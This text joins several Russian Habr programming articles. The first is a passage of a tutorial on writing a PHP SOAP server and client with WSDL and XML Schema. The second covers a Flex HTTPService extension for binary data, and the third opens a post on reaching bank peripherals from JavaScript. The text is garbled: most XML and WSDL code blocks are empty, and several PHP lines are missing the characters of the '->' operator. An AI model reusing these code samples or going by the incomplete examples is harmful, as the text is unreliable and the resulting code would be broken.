Ну да ладно, прошу меня извинить, занесло немного в сторону. Как я писал ранее, в качестве транспорта используется XML, а пакеты, которые курсируют между клиентом и сервером называются SOAP-конвертами. Если рассматривать обобщенную структуру конверта, то он вам покажется очень знакомым, т.к. напоминает структуру HTML-страницы. В нем есть основной раздел – *Envelop*, который включает разделы *Header* и *Body*, либо *Fault*. В *Body* передаются данные и он является обязательным разделом конверта, в то время как *Header* является опциональным. В *Header* может передаваться авторизация, либо какие-либо иные данные, которые на прямую не относятся к входным данным процедур веб-сервиса. Про *Fault* особо рассказывать нечего, кроме того, что он приходит в клиент с сервера в случае возникновения каких-либо ошибок.
На этом мой обзорный рассказ про протокол SOAP заканчивается (более детально сами конверты и их структуру мы рассмотрим когда наши клиент и сервер наконец-то научатся запускать их друг в друга) и начинается новый – про компаньона SOAP под названием *WSDL* (Web Services Description Language). Да-да, это та самая штука, которая отпугивает большинство из нас от самой попытки взять и реализовать свое API на данном протоколе. В результате чего, мы обычно изобретаем свой велосипед с JSON в качестве транспорта. И так, что такое WSDL? WSDL – язык описания веб-сервисов и доступа к ним, основанный на языке XML (с) Wikipedia. Если из этого определения вам не становится понятным весь сакральный смысл данной технологии, то я попытаюсь описать его своими словами!
WSDL предназначен для того, чтобы наши клиенты могли нормально общаться с сервером. Для этого в файле с расширением «\*.wsdl» описывается следующая информация:
* Какие пространства имен использовались,
* Какие схемы данных использовались,
* Какие типы сообщений веб-сервис ждет от клиентов,
* Какие данные принадлежат каким процедурам веб-сервиса,
* Какие процедуры содержит веб-сервис,
* Каким образом клиент должен вызывать процедуры веб-сервиса,
* На какой адрес должны отправляться вызовы клиента.
Как видно, данный файл и есть весь веб-сервис. Указав в клиенте адрес WSDL-файла мы будем знать об любом веб-сервисе все! В результате, нам не надо абсолютно ничего знать о том, где расположен сам веб-сервис. Достаточно знать адрес расположения его WSDL-файла! Скоро мы узнаем, что не так страшен SOAP как его малюют (с) русская пословицы.
3 Введение в XML-Schema
-----------------------
Теперь мы много чего знаем о то, что такое SOAP, что находится у него внутри и имеем обзорное представление о том, какой стек технологий его окружает. Поскольку, прежде всего SOAP представляет собой способ взаимодействия между клиентом и сервером, и в качестве транспорта для него используется язык разметки XML, то в данном разделе мы немного разберемся каким образом происходит автоматическая валидация данных посредством XML-схем.
Основная задачи схемы – описать структуру данных которые мы собираемся обрабатывать. Все данные в XML-схемах делятся на *простые* (скалярные) и *коплексные* (структуры) типы. К простым типам относятся такие типы как:
* строка,
* число,
* булево значение,
* дата.
Что-то очень простое, у чего внутри нет расширений. Их антиподом являются сложные комплексные типы. Самый простой пример комплексного типа, который приходит всем в голову – объекты. Например, книга. Книга состоит из свойств: *автор*, *название*, *цена*, *ISBN номер* и т.д. И эти свойства, в свою очередь, могут быть как простыми типами, так и комплексными. И задача XML-схемы это описать.
Предлагаю далеко не ходить и написать XML-схему для нашего sms-сообщения! Ниже представлено xml-описание sms-сообщения:
```
71239876543
Тестовое сообщение
2013-07-20T12:00:00
12
```
Схема нашего комплексного типа будет выглядеть следующим образом:
```
```
Эта запись читается следующим образом: у нас есть переменная «*message*» типа «*Message*» и есть комплексный тип с именем «*Message*», который состоит из последовательного набора элементов «*phone*» типа *string*, «*text*» типа *string*, «*date*» типа *dateTime*, «*type*» типа *decimal*. Эти типы простые и уже определены в описании схемы. Поздравляю! Мы только что написали нашу первую XML-схему!
Думаю, что значение элементов «*element*» и «*complexType*» вам стало все более-менее понятно, поэтому не будем на них больше заострять внимание и переключимся сразу же на элемент-композитор «*sequence*». Когда мы используем элемент-композитор «*sequence*» мы сообщаем о том, что элементы включенные в него должны всегда располагаться в указанной в схеме последовательности, а также все из них являются обязательными. Но не стоит отчаиваться! В XML-схемах есть еще два элемента-композитора: «*choice*» и «*all*». Композитор «*choice*» сообщает о том, что должен быть какой-то один из перечисленных в нем элементов, а композитор «*all*» – любая комбинация перечисленных элементов.
Как вы помните, то в первом разделе топика мы договорились о том, что в пакете может передаваться от одного до бесконечности sms-сообщений. Поэтому предлагаю разобраться как такие данные декларируются в XML-схеме. Общая структура пакета может выглядеть следующим образом:
```
71239876543
Тестовое сообщение 1
2013-07-20T12:00:00
12
71239876543
Тестовое сообщение N
2013-07-20T12:00:00
12
```
Схема для такого комплексного типа будет выглядеть так:
```
```
В первом блоке идет знакомое нам декларирование комплексного типа «*Message*». Если вы заметили, то в каждом простом типе, входящем в «*Message*», были добавлены новые уточняющие атрибуты «*minOccurs*» и «*maxOccurs*». Как не трудно догадаться из названия, первый (*minOccurs*) сообщает о том, что в данной последовательности должно быть минимум по одному элементу типа «*phone*», «*text*», «*date*» и «*type*», в то время как следующий (*maxOccurs*) атрибут нам декларирует, что таких элементов в нашей последовательности максимум по-одному. В результате, когда мы пишем свои схемы для каких-либо данных, нам предоставляется широчайший выбор по их настройке!
Второй блок схемы декларирует элемент «*messageList*» типа «*MessageList*». Видно, что «*MessageList*» представляет собой комплексный тип, который включает минимум один элемент «*message*», но максимальное число таких элементов не ограничено!
На этом будем считать, что ЛикБез по схемам завершен и далее нас ждет еще одно не менее увлекательное приключение – мы будем писать свой собственный WSDL!
4 Пишем свой WSDL
-----------------
Вы помните о том, что WSDL и есть наш веб-сервис? Надеюсь, что помните! Как мы его напишем, так на нем наш маленький веб-сервис и поплывет. Поэтому, предлагаю не халтурить.
Вообще, для того, чтобы у нас все работало правильно нам надо передавать клиенту WSDL-файл с правильным MIME-типом. Для этого необходимо настроить ваш веб-сервер соответствующим образом, а именно – установить для файлов с расширением «\*.wsdl» MIME-тип равный следующей строке:
```
application/wsdl+xml
```
Но на практике, я обычно отправлял посредством PHP HTTP-заголовок«*text/xml*»:
```
header("Content-Type: text/xml; charset=utf-8");
```
и все прекрасно работало!
Хочу сразу предупредить, наш простенький веб-сервис будет иметь довольно внушительное описание, поэтому не пугайтесь, т.к. большая часть текста является обязательной водой и написав ее один раз можно постоянно копировать от одного веб-сервиса к другому!
Поскольку WSDL – это XML, то в самой первой строке необходимо прямо об этом и написать. Корневой элемент файла всегда должен называться «*definitions*»:
```
xml version="1.0" encoding="utf-8"?
```
Обычно, WSDL состоит из 4-5 основных блоков. Самый первый блок – определение веб-сервиса или другими словами – точки входа.
```
xml version="1.0" encoding="utf-8"?
```
Здесь написано, что у нас есть сервис, который называется – «*SmsService*». В принципе, все имена в WSDL-файле могут быть вами изменены на какие только пожелаете, т.к. они не играют абсолютно никакой роли.
После этого мы объявляем о том, что в нашем веб-сервисе «*SmsService*» есть точка входа («port»), которая называется «*SmsServicePort*». Именно в эту точку входа и будут отправляться все запросы от клиентов к серверу. И указываем в элементе «*address*» ссылку на файл-обработчик, который будет принимать запросы.
После того, как мы определили веб-сервис и указали для него точку входа – необходимо привязать к нему поддерживаемые процедуры:
```
xml version="1.0" encoding="utf-8"?
```
Для этого перечисляется какие операции и в каком виде у будут вызываться. Т.е. для порта «*SmsServicePort*» определена привязка под именем «*SmsServiceBinding*», которая имеет тип вызова «*rpc*» и в качестве протокола передачи (транспорта) используется HTTP. Т.о., мы здесь указали, что будем осуществлять RPC вызов поверх HTTP. После этого мы описываем какие процедуры (*operation*) поддерживаются в веб-сервисе. Мы будем поддерживать всего одну процедуру – «*sendSms*». Через эту процедуру будут отправляться на сервер наши замечательные сообщения! После того, как была объявлена процедура, необходимо указать в каком виде будут передаваться данные. В данном случае указано, что будут использоваться стандартные SOAP-конверты.
После этого нам необходимо привязать процедуру к сообщениям:
```
xml version="1.0" encoding="utf-8"?
```
Для этого мы указываем, что наша привязка («binding») имеет тип «*SmsServicePortType*» и в элементе «*portType*» с одноименным типу именем указываем привязку процедур к сообщениям. И так, входящее сообщение (от клиента к серверу) будет называться «*sendSmsRequest*», а исходящее (от сервера к клиенту) «*sendSmsResponse*». Как и все имена в WSDL, имена входящих и исходящих сообщения – произвольные.
Теперь нам необходимо описать сами сообщения, т.е. входящие и исходящие:
```
xml version="1.0" encoding="utf-8"?
```
Для этого мы добавляем элементы «*message*» с именами «*sendSmsRequest*» и «*sendSmsResponse*» соответственно. В них мы указываем, что на вход должен прийти конверт, структура которого соответствует типу данных «*Request*». После чего с сервера возвращается конверт содержащий тип данных – «*Response*».
Теперь надо сделать самую малость – добавить описание данных типов в наш WSDL-файл! И как вы думаете, как описываются в WSDL входящие и исходящие данные? Думаю, что вы уже все давно поняли и сказали сами себе, что при помощи XML-схем! И вы будете абсолютно правы!
```
xml version="1.0" encoding="utf-8"?
```
Можно нас поздравить! Наш первый WSDL был написан! И мы еще на один шаг приблизились к достижению поставленной цели.
Далее мы разберемся с тем, что нам предоставляет PHP для разработки собственных распределенных приложений.
5 Наш первый SOAP-сервер
------------------------
Ранее я писал, что для создания SOAP-сервера на PHP мы будем использовать встроенный класс SoapServer. Для того, чтобы все дальнейшие действия происходили также как и у меня, вам понадобиться немного подкрутить свой PHP. Если быть еще точнее, то необходимо убедиться, что у вас установлено расширение «php-soap». Как его поставить на ваш веб-сервере лучше всего прочитать на официальном сайте PHP (см. список литературы).
После того, как все было установлено и настроено нам необходимо будет создать в корневой папке вашего хостинга файл «*smsservice.php*» со следующим содержанием:
```
php
/**
* smsservice.php
*/
header("Content-Type: text/xml; charset=utf-8");
header('Cache-Control: no-store, no-cache');
header('Expires: '.date('r'));
/**
* Пути по-умолчанию для поиска файлов
*/
set_include_path(get_include_path()
.PATH_SEPARATOR.'classes'
.PATH_SEPARATOR.'objects');
/**
* Путь к конфигурационному файлу
*/
const CONF_NAME = "config.ini";
/**
** Функция для автозагрузки необходимых классов
*/
function __autoload($class_name){
include $class_name.'.class.php';
}
ini_set("soap.wsdl_cache_enabled", "0"); // отключаем кеширование WSDL-файла для тестирования
//Создаем новый SOAP-сервер
$server = new SoapServer("http://{$_SERVER['HTTP_HOST']}/smsservice.wsdl.php");
//Регистрируем класс обработчик
$server-setClass("SoapSmsGateWay");
//Запускаем сервер
$server->handle();
```
То, что находится выше строчки с функцией «ini\_set», надеюсь, что объяснять не надо. Т.к. там определяется какие HTTP-заголовки мы будем отправлять с сервера клиенту и настраивается окружение. В строчке с «ini\_set» мы отключаем кеширование WSDL-файла для того, чтобы наши изменения в нем сразу же вступали в действие на клиенте.
Теперь мы подошли к серверу! Как видим, весь SOAP-сервер занимает всего лишь три строки! В первой строке мы создаем новый экземпляр объекта SoapServer и передаем ему в конструктор адрес нашего WSDL-описания веб-сервиса. Теперь мы знаем, что он будет располагаться в корне хостинга в файле с говорящим именем «*smsservice.wsdl.php*». Во второй строке мы сообщаем SOAP-серверу какой класс необходимо дергать для того, чтобы обработать поступивший с клиента конверт и вернуть конверт с ответом. Как вы могли догадаться, именно в этом классе будет описан наш единственный метод *sendSms*. В третьей строке мы запускаем сервер! Все, наш сервер готов! С чем я нас всех и поздравляю!
Теперь нам необходимо создать WSDL-файл. Для этого можно либо просто скопировать его содержимое из предыдущего раздела, либо позволить себе вольности и немного его «шаблонизировать»:
```
php
/**
* smsservice.wsdl.php
*/
header("Content-Type: text/xml; charset=utf-8");
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?";
?>
```
На этом этапе получившийся сервер нас должен устроить полностью, т.к. поступающие к нему конверты мы можем логировать и потом спокойно анализировать приходящие данные. Для того, чтобы мы могли что-либо получать на сервер, нам необходим клиент. Поэтому давайте им и займемся!
6 SOAP-клиент на подходе
------------------------
Прежде всего нам надо создать файл, в котором будем писать клиент. Как обычно, мы его создадим в корне хоста и назовем «*client.php*», а внутри напишем следующее:
```
php
/**
* /client.php
*/
header("Content-Type: text/html; charset=utf-8");
header('Cache-Control: no-store, no-cache');
header('Expires: '.date('r'));
/**
* Пути по-умолчанию для поиска файлов
*/
set_include_path(get_include_path()
.PATH_SEPARATOR.'classes'
.PATH_SEPARATOR.'objects');
/**
** Функция для автозагрузки необходимых классов
*/
function __autoload($class_name){
include $class_name.'.class.php';
}
ini_set('display_errors', 1);
error_reporting(E_ALL & ~E_NOTICE);
// Заготовки объектов
class Message{
public $phone;
public $text;
public $date;
public $type;
}
class MessageList{
public $message;
}
class Request{
public $messageList;
}
// создаем объект для отправки на сервер
$req = new Request();
$req-messageList = new MessageList();
$req->messageList->message = new Message();
$req->messageList->message->phone = '79871234567';
$req->messageList->message->text = 'Тестовое сообщение 1';
$req->messageList->message->date = '2013-07-21T15:00:00.26';
$req->messageList->message->type = 15;
$client = new SoapClient( "http://{$_SERVER['HTTP_HOST']}/smsservice.wsdl.php",
array( 'soap_version' => SOAP_1_2));
var_dump($client->sendSms($req));
```
Опишем наши объекты. Когда мы писали WSDL в нем для входящего на сервер конверта описывались три сущности: *Request*, *MessageList* и *Message*. Соответственно классы *Request*, *MessageList* и *Message* являются отражениями этих сущностей в нашем PHP-скрипте.
После того, как мы определили объекты, нам необходимо создать объект (*$req*), который будем отправлять на сервер. После чего идут две самые заветные для нас строки! Наш SOAP-клиент! Верите или нет, но этого достаточно для того, чтобы на наш сервер начали сыпаться сообщения от клиента, а также для того, чтобы наш сервер успешно их принимал и обрабатывал! В первой из них мы создаем экземпляр класса SoapClient и передаем в его конструктор адрес расположения WSDL-файла, а в параметрах явно указываем, что работать мы будем по протоколу SOAP версии 1.2. В следующей строке мы вызываем метод *sendSms* объекта *$client* и сразу же выводим в браузере результат.
Давайте запусти и посмотрим что-же у нас наконец-то получилось!
Мне с сервера вернулся следующий объект:
```
object(stdClass)[5]
public 'status' => boolean true
```
И это замечательно, т.к. теперь мы точно знаем о том, что наш сервер работает и не просто работает, но еще и может возвращать на клиент какие-то значения!
Теперь посмотрим на лог, который мы предусмотрительно ведем на серверной стороне! В первой его части мы видим необработанные данные, которые поступили на сервер:
```
xml version="1.0" encoding="UTF-8"?
79871234567
Тестовое сообщение 1
2013-07-21T15:00:00.26
15
```
Это и есть конверт. Теперь вы знаете как он выглядит! Но постоянно на него любоваться нам вряд ли будет интересно, поэтому давайте десереализуем объект из лог-файла и посмотрим все ли у нас хорошо:
```
object(stdClass)[4]
public 'messageList' =>
object(stdClass)[5]
public 'message' =>
object(stdClass)[6]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 1' (length=37)
public 'date' => string '2013-07-21T15:00:00.26' (length=22)
public 'type' => string '15' (length=2)
```
Как видим, объект десериализовался правильно, с чем я нас всех хочу поздравить! Далее нас ждет что-то более интересно! А именно – мы будем отправлять клиентом на сервер не одно sms-сообщение, а целую пачку (если быть точнее, то целых три)!
7 Отправляем сложные объекты
----------------------------
Давайте подумаем над тем, как же нам передать целую пачку сообщений на сервер в одном пакете? Наверно, самым простым способом будет организация массива внутри элемента messageList! Давайте это сделаем:
```
// создаем объект для отправки на сервер
$req = new Request();
$req->messageList = new MessageList();
$msg1 = new Message();
$msg1->phone = '79871234567';
$msg1->text = 'Тестовое сообщение 1';
$msg1->date = '2013-07-21T15:00:00.26';
$msg1->type = 15;
$msg2 = new Message();
$msg2->phone = '79871234567';
$msg2->text = 'Тестовое сообщение 2';
$msg2->date = '2014-08-22T16:01:10';
$msg2->type = 16;
$msg3 = new Message();
$msg3->phone = '79871234567';
$msg3->text = 'Тестовое сообщение 3';
$msg3->date = '2014-08-22T16:01:10';
$msg3->type = 17;
$req->messageList->message[] = $msg1;
$req->messageList->message[] = $msg2;
$req->messageList->message[] = $msg3;
```
В наших логах числится, что пришел следующий пакет от клиента:
```
xml version="1.0" encoding="UTF-8"?
79871234567
Тестовое сообщение 1
2013-07-21T15:00:00.26
15
79871234567
Тестовое сообщение 2
2014-08-22T16:01:10
16
79871234567
Тестовое сообщение 3
2014-08-22T16:01:10
17
```
Что за ерунда, скажете вы? И будете правы в некотором смысле, т.к. только что мы узнали о том, что какой объект ушел от клиента, то абсолютно в том же виде он пришел к нам на сервер в виде конверта. Правда, sms-сообщения сериализовались в XML не так, как нам было необходимо – они должны были быть обернуты в элементы *message*, а не в *Struct*. Теперь посмотрим в каком виде приходит такой объект в метод *sendSms*:
```
object(stdClass)[6]
public 'messageList' =>
object(stdClass)[7]
public 'message' =>
object(stdClass)[8]
public 'Struct' =>
array (size=3)
0 =>
object(stdClass)[9]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 1' (length=37)
public 'date' => string '2013-07-21T15:00:00.26' (length=22)
public 'type' => string '15' (length=2)
1 =>
object(stdClass)[10]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 2' (length=37)
public 'date' => string '2014-08-22T16:01:10' (length=19)
public 'type' => string '16' (length=2)
2 =>
object(stdClass)[11]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 3' (length=37)
public 'date' => string '2014-08-22T16:01:10' (length=19)
public 'type' => string '17' (length=2)
```
Что нам дает это знание? Только то, что выбранный нами путь не является верным и мы не получили ответа на вопрос – «Как нам на сервере получить правильную структуру данных?». Но я предлагаю не отчаиваться и попробовать привести наш массив к типу *объект*:
```
$req->messageList->message = (object)$req->messageList->message;
```
В этом случае, нам придет уже другой конверт:
```
xml version="1.0" encoding="UTF-8"?
79871234567
Тестовое сообщение 1
2013-07-21T15:00:00.26
15
79871234567
Тестовое сообщение 2
2014-08-22T16:01:10
16
79871234567
Тестовое сообщение 3
2014-08-22T16:01:10
17
```
Пришедший в метод *sendSms* объект имеет следующую структуру:
```
object(stdClass)[7]
public 'messageList' =>
object(stdClass)[8]
public 'message' =>
object(stdClass)[9]
public 'BOGUS' =>
array (size=3)
0 =>
object(stdClass)[10]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 1' (length=37)
public 'date' => string '2013-07-21T15:00:00.26' (length=22)
public 'type' => string '15' (length=2)
1 =>
object(stdClass)[11]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 2' (length=37)
public 'date' => string '2014-08-22T16:01:10' (length=19)
public 'type' => string '16' (length=2)
2 =>
object(stdClass)[12]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 3' (length=37)
public 'date' => string '2014-08-22T16:01:10' (length=19)
public 'type' => string '17' (length=2)
```
Как по мне, то «от перемены мест слагаемых – сумма не меняется» (с). Что *BOGUS*, что *Struct* – цель нами до сих пор не достигнута! А для ее достижения нам необходимо сделать так, чтобы вместо этих непонятных названий отображалось наше родное **message**. Но как этого добиться, автору пока не известно. Поэтому единственное, что мы можем сделать – избавить от лишнего контейнера. Другими словами, мы сейчас сделаем так, чтобы вместо *message* стал *BOGUS*! Для этого изменим объект следующим образом:
```
// создаем объект для отправки на сервер
$req = new Request();
$msg1 = new Message();
$msg1->phone = '79871234567';
$msg1->text = 'Тестовое сообщение 1';
$msg1->date = '2013-07-21T15:00:00.26';
$msg1->type = 15;
$msg2 = new Message();
$msg2->phone = '79871234567';
$msg2->text = 'Тестовое сообщение 2';
$msg2->date = '2014-08-22T16:01:10';
$msg2->type = 16;
$msg3 = new Message();
$msg3->phone = '79871234567';
$msg3->text = 'Тестовое сообщение 3';
$msg3->date = '2014-08-22T16:01:10';
$msg3->type = 17;
$req->messageList[] = $msg1;
$req->messageList[] = $msg2;
$req->messageList[] = $msg3;
$req->messageList = (object)$req->messageList;
```
Вдруг нам повезет и из схемы подтянется правильное название? Для этого посмотрим на пришедший конверт:
```
xml version="1.0" encoding="UTF-8"?
79871234567
Тестовое сообщение 1
2013-07-21T15:00:00.26
15
79871234567
Тестовое сообщение 2
2014-08-22T16:01:10
16
79871234567
Тестовое сообщение 3
2014-08-22T16:01:10
17
```
Да, чуда не произошло! *BOGUS* – не победим! Пришедший в *sendSms* объект в этом случае будет выглядеть следующим образом:
```
object(stdClass)[6]
public 'messageList' =>
object(stdClass)[7]
public 'BOGUS' =>
array (size=3)
0 =>
object(stdClass)[8]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 1' (length=37)
public 'date' => string '2013-07-21T15:00:00.26' (length=22)
public 'type' => string '15' (length=2)
1 =>
object(stdClass)[9]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 2' (length=37)
public 'date' => string '2014-08-22T16:01:10' (length=19)
public 'type' => string '16' (length=2)
2 =>
object(stdClass)[10]
public 'phone' => string '79871234567' (length=11)
public 'text' => string 'Тестовое сообщение 3' (length=37)
public 'date' => string '2014-08-22T16:01:10' (length=19)
public 'type' => string '17' (length=2)
```
Как говорится – «Почти»! На этой (немного печальной) ноте предлагаю потихонечку закругляться и сделать некоторые для себя выводы.
8 Заключение
------------
Наконец-то мы добрались сюда! Давайте определимся с тем, что вы теперь умеете делать:
* вам по силам написать необходимый для вашего веб-сервиса WSDL-файл;
* вы без всяких проблем можете написать свой собственный клиент способный общаться с сервером по протоколу SOAP;
* вы можете написать свой собственный сервер общающийся с окружающим миром по SOAP;
* вы можете отправлять массивы однотипных объектов на сервер со своего клиента (с некоторыми ограничениями).
Также, мы сделали для себя некоторые открытия в ходе нашего небольшого исследования:
* нативный класс SoapClient не умеет правильно сериализовывать однотипные структуры данных в XML;
* при сериализации массива в XML он создает лишний элемент с именем *Struct*;
* при сериализации объекта в XML он создает лишний элемент с именем *BOGUS*;
* *BOGUS* меньшее зло чем *Struct* из-за того, что конверт получается компактнее (не добавляются лишние namespace'ы в XML заголовке конверта);
* к сожалению, класс SoapServer автоматически не валидирует данные конверта нашей XML-схемой (возможно, и другие сервера этого не делают).
9 Список литературы
-------------------
* [www.w3.org/XML/Schema](http://www.w3.org/XML/Schema) – спецификация и прочая информация по XML-схемам
* [www.w3.org/TR/soap](http://www.w3.org/TR/soap) – спецификация протокола SOAP
* [ru.wikipedia.org/wiki/Remote\_Procedure\_Call](http://ru.wikipedia.org/wiki/Remote_Procedure_Call) – статья про RPC
* [ru.wikipedia.org/wiki/REST](http://ru.wikipedia.org/wiki/REST) – статья про REST
* [ru.wikipedia.org/wiki/XML](http://ru.wikipedia.org/wiki/XML) – статья про XML
* [ru.wikipedia.org/wiki/XML\_Schema](http://ru.wikipedia.org/wiki/XML_Schema) – статья про XML-схемы
* [ru.wikipedia.org/wiki/WSDL](http://ru.wikipedia.org/wiki/WSDL) – статья про WSDL
* [www.php.net/manual/ru/book.soap.php](http://www.php.net/manual/ru/book.soap.php) – официальный мануал по работе с SOAP в PHP
* [github.com/hats/soap-sms-service](https://github.com/hats/soap-sms-service) – исходные коды примеров из топика
##### P.S. Автор статьи хотел осветить авторизацию пакетов посредством встроенных в SOAP возможностей, но ему не удалось этого сделать по средством классов SoapServer и SoapClient. Поэтому, если у вас есть положительный опыт использования встроенной в SOAP авторизации посредством PHP, то прошу об этом написать в комментариях к статье, либо мне в личку :)
##### P.P.S. дополнение от [Mikaz](https://habrahabr.ru/users/mikaz/)
Нужно вместо массива использовать **ArrayObject** в совокупности с **SoapVar**.
Рабочий код мог бы выглядеть так:
```
$req = new Request();
$req->messageList = new \ArrayObject();
$msg1 = new Message();
$msg1->phone = '79871234567';
$msg1->text = 'Тестовое сообщение 1';
$msg1->date = '2013-07-21T15:00:00.26';
$msg1->type = 15;
$soap_msg1 = new \SoapVar($msg1, SOAP_ENC_OBJECT, null, null, 'Message');
$msg2 = new Message();
$msg2->phone = '79871234567';
$msg2->text = 'Тестовое сообщение 2';
$msg2->date = '2014-08-22T16:01:10';
$msg2->type = 16;
$soap_msg2 = new \SoapVar($msg2, SOAP_ENC_OBJECT, null, null, 'Message');
$msg3 = new Message();
$msg3->phone = '79871234567';
$msg3->text = 'Тестовое сообщение 3';
$msg3->date = '2014-08-22T16:01:10';
$msg3->type = 17;
$soap_msg3 = new \SoapVar($msg3, SOAP_ENC_OBJECT, null, null, 'Message');
$req->messageList->append($soap_msg1);
$req->messageList->append($soap_msg2);
$req->messageList->append($soap_msg3);
``` | https://habr.com/ru/post/187390/ | null | ru | null |
# BinaryHTTPService или как помочь HTTPService-у принимать ByteArray данные
В процессе разработки у меня стояла задача найти способ получать бинарные данные от сервера через HTTPService. Сам по себе HTTPService в mx пакете не позволяет получать результат в ByteArray. Это можно увидеть в классе mx.messaging.channels.DirectHTTPChannel в функции internalSend.
> `1.
> 2. **package** mx.messaging.channels
> 3. {
> 4. **public** **class** DirectHTTPChannel extends Channel
> 5. {
> 6.
> 7. .....
> 8.
> 9. override **protected** **function** internalSend(msgResp**:**MessageResponder)**:****void**
> 10. {
> 11. **var** httpMsgResp**:**DirectHTTPMessageResponder = DirectHTTPMessageResponder(msgResp);
> 12. **var** urlRequest**:**URLRequest;
> 13.
> 14. **try**
> 15. {
> 16. urlRequest = createURLRequest(httpMsgResp.message);
> 17. }
> 18. **catch**(e**:** MessageSerializationError)
> 19. {
> 20. httpMsgResp.agent.fault(e.fault, httpMsgResp.message);
> 21. **return**;
> 22. }
> 23.
> 24. **var** urlLoader**:**URLLoader = httpMsgResp.urlLoader;
> 25. urlLoader.addEventListener(ErrorEvent.ERROR, httpMsgResp.errorHandler);
> 26. urlLoader.addEventListener(IOErrorEvent.IO\_ERROR, httpMsgResp.errorHandler);
> 27. urlLoader.addEventListener(SecurityErrorEvent.SECURITY\_ERROR, httpMsgResp.securityErrorHandler);
> 28. urlLoader.addEventListener(Event.COMPLETE, httpMsgResp.completeHandler);
> 29. urlLoader.addEventListener(HTTPStatusEvent.HTTP\_STATUS, httpMsgResp.httpStatusHandler);
> 30. urlLoader.load(urlRequest);
> 31. }
> 32.
> 33. .....
> 34.
> 35. }
> 36. }
> 37.`
У URLLoader-а по умолчанию параметр dataFormat имеет значение URLLoaderDataFormat.TEXT, а для получение данных в виде ByteArray на нужен URLLoaderDataFormat.BINARY.
Всё делается очень просто. Первое, что нам нужно – это создать расширение для класса DirectHTTPChannel и установить у urlLoader-а параметр dataFormat=URLLoaderDataFormat.BINARY;
> `1.
> 2. **public** **class** DirectHTTPBinaryChannel extends DirectHTTPChannel
> 3. {
> 4. **public** **function** DirectHTTPBinaryChannel(id**:**String, uri**:**String="")
> 5. {
> 6. **super**(id, uri);
> 7. }
> 8.
> 9. override **protected** **function** getMessageResponder(agent**:**MessageAgent,
> 10. message**:**IMessage)**:**MessageResponder
> 11. {
> 12. **return** **new** DirectHTTPBinaryMessageResponder(agent, message, **this**, **new** URLLoader());
> 13. }
> 14.
> 15. override **protected** **function** internalSend(msgResp**:**MessageResponder)**:****void**
> 16. {
> 17. **var** httpMsgResp**:**DirectHTTPBinaryMessageResponder = DirectHTTPBinaryMessageResponder(msgResp);
> 18. **var** urlRequest**:**URLRequest;
> 19.
> 20. **try**
> 21. {
> 22. urlRequest = createURLRequest(httpMsgResp.message);
> 23. }
> 24. **catch**(e**:** MessageSerializationError)
> 25. {
> 26. httpMsgResp.agent.fault(e.fault, httpMsgResp.message);
> 27. **return**;
> 28. }
> 29.
> 30. **var** urlLoader**:**URLLoader = httpMsgResp.urlLoader;
> 31. urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
> 32. urlLoader.addEventListener(ErrorEvent.ERROR, httpMsgResp.errorHandler);
> 33. urlLoader.addEventListener(IOErrorEvent.IO\_ERROR, httpMsgResp.errorHandler);
> 34. urlLoader.addEventListener(SecurityErrorEvent.SECURITY\_ERROR, httpMsgResp.securityErrorHandler);
> 35. urlLoader.addEventListener(Event.COMPLETE, httpMsgResp.completeHandler);
> 36. urlLoader.load(urlRequest);
> 37. }
> 38. }
> 39.`
Для того чтобы мы могли использовать наш DirectHTTPBinaryChannel, создаем расширение класса HTTPService.
> `1.
> 2. **public** **class** BinaryHTTPService extends HTTPService
> 3. {
> 4. **protected** static **var** binaryChannel**:**Channel;
> 5. **protected** static **var** binaryChannelSet**:**ChannelSet;
> 6.
> 7. **public** **function** BinaryHTTPService(rootURL**:**String = **null**, destination**:**String = **null**)
> 8. {
> 9. **super**(rootURL, destination);
> 10. }
> 11.
> 12. override **public** **function** send(parameters**:**Object = **null**)**:**AsyncToken
> 13. {
> 14. **if** (useProxy == **false**)
> 15. {
> 16. /\* force the use of our binary channel \*/
> 17. **if** (binaryChannelSet == **null**)
> 18. {
> 19. **var** dcs**:**ChannelSet = **new** ChannelSet();
> 20. binaryChannel = **new** DirectHTTPBinaryChannel("direct\_http\_binary\_channel");
> 21. dcs.addChannel(binaryChannel);
> 22. channelSet = dcs;
> 23. binaryChannelSet = dcs;
> 24. }
> 25. **else** **if** (channelSet **!**= binaryChannelSet)
> 26. {
> 27. channelSet = binaryChannelSet;
> 28. }
> 29. }
> 30. **return** **super**.send(parameters);
> 31. }
> 32. }
> 33.`
Пример рабочих классов: [BinaryHTTPService](https://code.google.com/p/apron/source/browse/version_2/apron2_network/src/ru/ganzin/apron2/net/services/BinaryHTTPService.as "BinaryHTTPService") [DirectHTTPBinaryChannel](https://code.google.com/p/apron/source/browse/version_2/apron2_network/src/ru/ganzin/apron2/net/services/DirectHTTPBinaryChannel.as) | https://habr.com/ru/post/91331/ | null | ru | null |
# Работа с периферией из JavaScript: от теории к практике
Работа сотрудника банка опасна и трудна. В Единой фронтальной системе мы стараемся помочь сотруднику банка и автоматизировать его работу. Одна из многочисленных задач, которую нам нужно решить, — доработать тонкий клиент для возможности работы с периферийным банковским оборудованием. Но сделать это не так-то просто. В данной статье мы расскажем, как мы пытались решить задачу, и к чему это привело.
Статья будет полезна архитекторам и опытным front-end разработчикам систем масштаба предприятий, столкнувшихся с проблемой доступа к периферийному оборудованию из тонкого клиента своей системы.
[](https://habrahabr.ru/company/efs/blog/330374/)
И да, скажем сразу, задача усложняется тем, что стандартные подходы с применением ActiveX, Java Applet, плагина браузера нас не устраивают по соображениям безопасности, универсальности и сложностей с управляемостью и сопровождаемостью.
Представьте себе скромный (по китайским меркам) банк, в отделениях которого работают более 100 тыс. операторов. У них есть рабочие места, на которых они обслуживают клиентов, а к рабочим местам подключены различные периферийные устройства:
1. Сетевой/локальный принтер.
2. Чековый принтер (Epson-M950 или Olivetti).
3. POS-терминал (Verifone VX820).
